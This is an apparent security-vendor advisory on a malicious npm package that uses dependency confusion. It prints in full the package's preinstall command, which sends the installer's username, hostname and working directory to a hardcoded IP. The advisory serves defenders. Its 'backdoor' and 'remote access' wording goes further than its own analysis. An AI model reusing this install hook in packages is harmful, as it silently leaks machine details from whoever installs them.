Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

mui-wrapper-x-date-pickersnpm

Advisory published Updated

mui-wrapper-x-date-pickers is a confirmed malicious npm package (MAL-2026-18369) that opens a backdoor for remote access (malicious versions 1.0.0, 10.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in mui-wrapper-x-date-pickers (npm)

MAL-2026-18369
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall mui-wrapper-x-date-pickers

What this malware does

mui-wrapper-x-date-pickers was published to npm on 2026-10-27 from 06:55:20 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 10.0.0 is the latest version at the time of this report.

package.json declares a preinstall and a postinstall script, which npm runs on every install:

node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"

The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.

Tarball sha256: 1.0.0: 32199161095f611bcc41a9d7ae4cbc2abde7b8f697f7decde2152723bd05bff9 10.0.0: b6b650ae811c65b52766a046a10622f638691406f2da8fa180d785d1ef1bdb81

Analysis was static only; nothing was executed.

On npm install, the package's preinstall and postinstall lifecycle scripts issue plaintext HTTP GET requests to the hardcoded bare-IP endpoint http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/{preinstall,postinstall}, carrying the installer's OS username (process.env.USER / process.env.USERNAME), hostname (os.hostname()), and current working directory (process.cwd()) as query parameters. The package name follows a dependency-confusion lure pattern (mui-wrapper-x-date-pickers resembles the @mui/x-date-pickers family), and resolution of this public name causes automatic, unauthenticated host-identity disclosure to a bare-IP endpoint with no documented operator. No TLS, no opt-in, no caller configuration.

Malicious versions

2 flagged
1.0.010.0.0

Indicators of compromise (SHA-256)

70c4d8b55d25fd65b5a7e7f95fbdedaf5619bc13f07f277aad725e208188020b
8cddb69a94e26ec503bb6f75500fd0bcd16884acaf161ac2f0b2fa39dc744249

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for mui-wrapper-x-date-pickers (2 malicious versions).

  2. If you installed it — respond

    mui-wrapper-x-date-pickers establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If mui-wrapper-x-date-pickers was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. mui-wrapper-x-date-pickers on npm has been identified as a malicious package (versions 1.0.0, 10.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-022037IN-MAL-2026-022025

References

Credits

  • Amazon Inspector · finder
  • r-bedekar · analyst

Detect & block this

O3 blocks mui-wrapper-x-date-pickers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

mui-wrapper-x-date-pickers (npm) malicious package — MAL-2026-18369 | O3 Security